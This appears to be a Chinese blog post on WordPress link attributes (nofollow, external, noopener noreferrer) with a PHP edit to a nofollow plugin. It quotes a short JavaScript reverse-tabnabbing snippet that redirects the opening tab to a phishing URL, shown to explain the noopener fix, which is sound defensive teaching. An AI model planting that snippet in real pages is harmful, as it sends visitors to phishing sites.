WordPress网站给外部链接添加nofollow

2019.10.13 -

- -

大家应该都知道rel=’nofllow’的作用,它是告诉搜索引擎,不要将该链接计入权重。因此多数情况下,我们可以将一些不想传递权重的链接进行nofllow处理;例如一些非本站的链接,不想传递权重,但是又需要加在页面中的像 统计代码、备案号链接、供用户查询的链接等等。

除了rel=’nofollow’还有两种链接属性形式,一种是rel=’external’,另一种是rel=’external nofollow’。这两种分别代表什么意思呢?又有何区别呢?

rel=’external’
此属性的意思是告诉搜索引擎,这个链接不是本站链接,其实作用相当于target=‘_blank’。

为什么要这样写呢?因为有些网站因为是采用严格的DOCTYPE声名的,如果你在网页源码中的第一行看到:在这种情况下target=”_blank”会失效,因此采用rel=’external’这个参数来替代。

rel=’external nofollow’
其实上面已经说过rel=’nofollow’ 和 rel=’external’ 两种属性的所代表的意思了。这个属性基本上是相当于将两种属性结合起来,大致可以解释为 “这个链接非本站链接,不要爬取也不要传递权重”。因此在SEO的角度来说,是一种绝对隔绝处理的方法,可以有效减少蜘蛛爬行的流失。

 

rel=”nofollow noopener noreferrer”
超链接 target=”_blank” 要增加 rel=”nofollow noopener noreferrer” 来堵住钓鱼安全漏洞。如果你在链接上使用 target=”_blank”属性,并且不加上rel=”noopener”属性,那么你就让用户暴露在一个非常简单的钓鱼攻击之下。

 

为了告知来自于不受保护的站点的用户,我们运行一个利用了这个缺陷的脚本。

if (window.opener) {

window.opener.location = “https://dev.to/phishing?referrer=”+document.referrer;
}

我相信绝大多数站点都没有恰当地处理这个问题,为了限制 window.opener的访问行为,原始页面需要在每个使用了target=”_blank”的链接中加上一个rel=”noopener”属性。

然而,火狐不支持这个属性值,所以实际上你要用 rel=”noopener noreferrer”来完整覆盖。

WordPress程序通过NoFollow ExtLink插件

自动给网站外部链接添加nofollow

但是还需要二次设置一下

点击插件-插件编辑器

找到下面这行

if ($result === 0) {
$no_follow .= ' rel="nofollow"';
} else {
if (strpos($match[0], 'nofollow') === false &&
strpos($match[0], 'dofollow') === false) {
$temp = $match[0];
$temp = substr_replace($temp, ' nofollow"', -1);
$tag = str_replace($match[0], $temp, $tag);
}
}
将rel="nofollow"修改为rel="external nofollow"

即可,然后网站链接均可以改为rel=”external nofollow”

- END -

- -

67
0

养花弄草也能坐拥百万粉丝?微淘号最具商业价值超级大咖榜为你揭秘

大家应该都知道rel=’nofllow’的作用,它是告诉搜索引擎,不要将该链接计入权重。因此多数情况下,我们可以将一些不想传递权重的链接进行nofllow处理;例如一些非本站的链接,不想传递权重,但是又需要加在页面中的像 统计代码、备案号链 […]